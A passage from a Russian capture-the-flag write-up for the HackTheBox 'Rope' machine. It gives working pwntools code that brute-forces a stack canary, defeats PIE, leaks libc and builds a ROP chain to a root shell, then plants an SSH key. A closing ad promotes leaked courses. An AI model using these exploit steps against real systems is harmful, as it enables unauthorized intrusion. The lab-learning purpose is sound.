\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430, \u043d\u0430\u043c \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u044c\u0448\u0435 [rbp-8h] \u2014 [rbp-40h] = 0x40-8 = 56 \u0431\u0430\u0439\u0442. <br \/>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u043b\u0430\u043d \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439:  <\/p>\n<ol>\n<li>\u043d\u0430\u0439\u0442\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0431\u0443\u0444\u0435\u0440;<\/li>\n<li>\u0441\u0431\u0440\u0443\u0442\u0438\u0442\u044c \u043a\u0430\u043d\u0430\u0440\u0435\u0439\u043a\u0443, rbp \u0438 rip;<\/li>\n<li>\u0442\u0430\u043a \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d PIE, \u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435;<\/li>\n<li>\u043d\u0430\u0439\u0442\u0438 \u0443\u0442\u0435\u0447\u043a\u0443 \u043f\u0430\u043c\u044f\u0442\u0438 \u0434\u043b\u044f \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u044f \u0430\u0434\u0440\u0435\u0441\u0430, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430;<\/li>\n<li>\u0421\u043e\u0431\u0440\u0430\u0442\u044c ROP, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u043e\u0442\u043e\u043a \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u043e\u0432 \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \/bin\/sh \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e system.<\/li>\n<\/ol>\n<p>  <\/p>\n<h3>1.\u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430<\/h3>\n<p>  \u041a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u043d\u0438\u0436\u0435, \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 56 \u0431\u0430\u0439\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e, \u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0432 57 \u0431\u0430\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0431\u0443\u0444\u0435\u0440\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/kc\/pp\/sl\/kcppslliglpdyxf2v8ikppjoeqa.png\" alt=\"image\"><\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u0448\u0430\u0431\u043b\u043e\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430. \u0422\u0430\u043a \u043a\u0430\u043a \u043d\u0443\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u043c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0442\u044c \u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f, \u0442\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043c \u0432\u044b\u0432\u043e\u0434 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 pwntools (log_level).  <\/p>\n<pre><code class=\"python\">#!\/usr\/bin\/python3 from pwn import *  HOST = '127.0.0.1' PORT = 1337 context(os = &quot;linux&quot;, arch = &quot;amd64&quot;, log_level='error')  pre_payload = &quot;A&quot; * 56  r = remote(HOST, PORT)  context.log_level='info' r.interactive() <\/code><\/pre>\n<p>  <\/p>\n<h3>2.Canary, RBP, RIP<\/h3>\n<p>  \u041a\u0430\u043a \u043c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c, \u043f\u043e\u0441\u043b\u0435 56 \u0431\u0430\u0439\u0442 \u0431\u0443\u0444\u0435\u0440\u0430 \u0438\u0434\u0435\u0442 \u043a\u0430\u043d\u0430\u0440\u0435\u0439\u043a\u0430, \u0430 \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0435 \u0432 \u0441\u0442\u0435\u043a\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u044b \u0430\u0434\u0440\u0435\u0441\u0430 RBP \u0438 RIP, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0430\u043a\u0436\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0431\u0440\u0430\u0442\u044c. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043f\u043e\u0434\u0431\u043e\u0440\u0430 8 \u0431\u0430\u0439\u0442.  <\/p>\n<pre><code class=\"python\">def qword_brute(pre_payload, item):     qword_ = b&quot;&quot;     while len(qword_) &lt; 8:         for b in range(256):             byte = bytes([b])             try:                 r = remote(HOST, PORT)                 print(f&quot;{item} find: {(qword_ + byte).hex()}&quot;, end=u&quot;\\u001b[1000D&quot;)                 send_ = pre_payload + qword_ + byte                 r.sendafter(b&quot;admin:&quot;, send_)                 if b&quot;Done&quot; not in r.recvall(timeout=5):                     raise EOFError                 r.close()                 qword_ += byte                 break             except EOFError as error:                 r.close()     context.log_level='info'                 log.success(f&quot;{item} found: {hex(u64(qword_))}&quot;)     context.log_level='error'      return qword_ <\/code><\/pre>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c pre_payload:  <\/p>\n<pre><code class=\"python\">pre_payload = b&quot;A&quot; * 56 CANARY = qword_brute(pre_payload, &quot;CANARY&quot;) pre_payload += CANARY RBP = qword_brute(pre_payload, &quot;RBP&quot;) pre_payload += RBP RIP = qword_brute(pre_payload, &quot;RIP&quot;) <\/code><\/pre>\n<p>  <\/p>\n<h3>3.PIE<\/h3>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c\u0441\u044f \u0441 PIE. \u041c\u044b \u043d\u0430\u0448\u043b\u0438 RIP \u2014 \u044d\u0442\u043e \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u043a\u0443\u0434\u0430 \u043c\u044b \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u044b\u0447\u0435\u0441\u0442\u044c \u0438\u0437 \u043d\u0435\u0433\u043e \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0432 \u043a\u043e\u0434\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/te\/t7\/lu\/tet7luif_rfxtdpgk8cw1a6wat8.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043e\u0442 \u0431\u0430\u0437\u044b \u0440\u0430\u0432\u043d\u043e 0x1562. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0443\u043a\u0430\u0436\u0435\u043c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.  <\/p>\n<pre><code class=\"python\">base_binary = u64(RIP) - 0x1562 binary = ELF('.\/contact') binary.address = base_binary libc = ELF('.\/libc.so.6') <\/code><\/pre>\n<p>  <\/p>\n<h3>4.Memory leak<\/h3>\n<p>  \u0412 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0434\u043b\u044f \u0432\u044b\u0432\u043e\u0434\u0430 \u0441\u0442\u0440\u043e\u043a\u0438 \u043f\u0440\u0438\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f write(), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440 \u0434\u043b\u044f \u0432\u044b\u0432\u043e\u0434\u0430, \u0431\u0443\u0444\u0435\u0440 \u0438 \u0435\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440. \u041c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e. <\/p>\n<p>  \u0414\u043b\u044f \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u043c\u043e\u0434\u0443\u043b\u0435\u043c ROP \u0438\u0437 pwntools. \u0412\u043a\u0440\u0430\u0442\u0446\u0435, \u043a\u0430\u043a \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0438 \u043d\u0438\u0436\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/oh\/md\/bv\/ohmdbvozmm5ve0zayx1imk5v-0a.png\" alt=\"image\"><\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0443\u0442\u0435\u0447\u043a\u0443, \u044d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043d\u0430\u043c \u0443\u0437\u043d\u0430\u0442\u044c \u043f\u043e \u043a\u0430\u043a\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f write \u0432 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libc.  <\/p>\n<pre><code class=\"python\">rop_binary = ROP(binary) rop_binary.write(0x4, binary.got['write'], 0x8) send_leak = pre_payload + flat(rop_binary.build())  r = remote(HOST, PORT) r.sendafter(b&quot;admin:&quot;, send_leak) leak = r.recvall().strip().ljust(8, b'\\x00') print(f&quot;Leak: {hex(u64(leak))}&quot;) base_libc = leak - libc.symbols['write'] <\/code><\/pre>\n<p>  <\/p>\n<h3>5.ROP<\/h3>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u043c \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 libc \u0438 \u043d\u0430\u0439\u0434\u0435\u043c \u0430\u0434\u0440\u0435\u0441 \u0441\u0442\u0440\u043e\u043a\u0438 \/bin\/sh.  <\/p>\n<pre><code class=\"python\">libc.address = base_libc shell_address = next(libc.search(b&quot;\/bin\/sh\\x00&quot;))<\/code><\/pre>\n<p>  \u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043e\u0431\u0440\u0430\u0442\u044c ROP, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u043e\u0432 \u0432\u0432\u043e\u0434\u0430\/\u0432\u044b\u0432\u043e\u0434\u0430 (0,1,2) \u0432 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440, \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 (4). \u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442 \u0432\u044b\u0437\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 system, \u043a\u0443\u0434\u0430 \u043c\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u0434\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0441\u0442\u0440\u043e\u043a\u0438 \/bin\/sh.  <\/p>\n<pre><code class=\"python\">rop_libc = ROP(libc) rop_libc.dup2(4, 0) rop_libc.dup2(4, 1) rop_libc.dup2(4, 2) rop_libc.system(shell_address)  payload = pre_payload + flat(rop_libc.build())  r = remote(HOST, PORT) r.sendafter(b&quot;admin:&quot;, payload) time.sleep(2) r.sendline(b&quot;id&quot;)<\/code><\/pre>\n<p>  6. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f<br \/>  \u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/hm\/ta\/sd\/hmtasdfdb2vvug5doqfdkfzeho4.png\" alt=\"image\"><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0437\u0430\u043f\u0438\u0448\u0435\u043c \u043a\u043b\u044e\u0447 ssh \u0432 \u0444\u0430\u0439\u043b \/home\/r4j\/.ssh\/authorizef_keys.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ze\/e2\/7v\/zee27vga9_skxu2ruepdreh0hxm.png\" alt=\"image\"><\/p>\n<p>  \u0418 \u043f\u0440\u043e\u0431\u0440\u043e\u0441\u0438\u043c \u043f\u043e\u0440\u0442 (\u0441\u0434\u0435\u043b\u0430\u0435\u043c \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0440\u0442\u0430 1337 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u043e\u0441\u044c \u043f\u043e SSH \u043d\u0430 \u043f\u043e\u0440\u0442 1337 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430).  <\/p>\n<pre><code class=\"bash\">ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb<\/code><\/pre>\n<p>  \u0418 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/mv\/cy\/m5\/mvcym58okghfhc1ngkz9oovt4-4.png\" alt=\"image\"><\/p>\n<p>  \u041c\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u043c \u043f\u043e\u0434 \u0440\u0443\u0442\u043e\u043c.<\/p>\n<p>  \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u043a \u043d\u0430\u043c \u0432 <a href=\"https:\/\/t.me\/RalfHackerChannel\" rel=\"nofollow\">Telegram<\/a>. \u0422\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0439\u0442\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b, \u0441\u043b\u0438\u0442\u044b\u0435 \u043a\u0443\u0440\u0441\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u041f\u041e. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u043e\u0431\u0435\u0440\u0435\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u0443\u0434\u0443\u0442 \u043b\u044e\u0434\u0438, \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u0441\u0444\u0435\u0440\u0430\u0445 \u0418\u0422, \u0442\u043e\u0433\u0434\u0430 \u043c\u044b \u0432\u0441\u0435\u0433\u0434\u0430 \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043c\u043e\u0447\u044c \u0434\u0440\u0443\u0433 \u0434\u0440\u0443\u0433\u0443 \u043f\u043e \u043b\u044e\u0431\u044b\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c \u0418\u0422 \u0438 \u0418\u0411.<\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/503414\/\"> https:\/\/habr.com\/ru\/post\/503414\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\" data-io-article-url=\"https:\/\/habr.com\/ru\/post\/503414\/\">\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/cl\/ci\/gs\/clcigsntltvnbkltsfgppni4t0u.png\" alt=\"image\"><\/div>\n<p>  \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0434\u043e\u0440\u0435\u0448\u0438\u0432\u0430\u043d\u0438\u0435 \u043c\u0430\u0448\u0438\u043d \u0441 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0438 <a href=\"https:\/\/www.hackthebox.eu\" rel=\"nofollow\">HackTheBox<\/a>. <\/p>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u043c\u043d\u043e\u0433\u043e \u043c\u043d\u043e\u0433\u043e pwn, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0435\u043c \u0440\u0435\u0448\u0430\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 pwntools. \u0414\u0443\u043c\u0430\u044e \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u0447\u0438\u0442\u0430\u0442\u0435\u043b\u044f\u043c \u0441 \u043b\u044e\u0431\u044b\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0442\u0435\u043c\u0435. \u041f\u043e\u0435\u0445\u0430\u043b\u0438\u2026<\/p>\n<p>  \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 VPN. \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u0441 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0438\u043b\u0438 \u0441 \u0445\u043e\u0441\u0442\u0430, \u0433\u0434\u0435 \u0438\u043c\u0435\u044e\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0430\u0441 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a \u043a\u0430\u043a \u0412\u044b \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442\u0435 \u0432 \u0447\u0430\u0441\u0442\u043d\u0443\u044e \u0441\u0435\u0442\u044c \u0441 \u043b\u044e\u0434\u044c\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0442\u043e-\u0442\u043e \u0434\u0430 \u0443\u043c\u0435\u044e\u0442 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0418\u0411 \ud83d\ude42 <\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f<\/b>                         <\/p>\n<div class=\"spoiler_text\">\u0427\u0442\u043e\u0431\u044b \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u043e \u043d\u043e\u0432\u044b\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u044f \u0441\u043e\u0437\u0434\u0430\u043b <a href=\"https:\/\/t.me\/RalfHackerChannel\" rel=\"nofollow\">\u043a\u0430\u043d\u0430\u043b \u0432 Telegram<\/a> \u0438 <a href=\"https:\/\/t.me\/RalfHackerPublicChat\" rel=\"nofollow\">\u0433\u0440\u0443\u043f\u043f\u0443 \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u043b\u044e\u0431\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432<\/a> \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0418\u0438\u041a\u0411. \u0422\u0430\u043a\u0436\u0435 \u0432\u0430\u0448\u0438 \u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u043e\u0441\u044c\u0431\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 <a href=\"https:\/\/t.me\/hackerralf8\" rel=\"nofollow\">\u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u044e \u043b\u0438\u0447\u043d\u043e \u0438 \u043e\u0442\u0432\u0435\u0447\u0443 \u0432\u0441\u0435\u043c<\/a>.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-304132","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/304132","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=304132"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/304132\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=304132"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=304132"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=304132"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}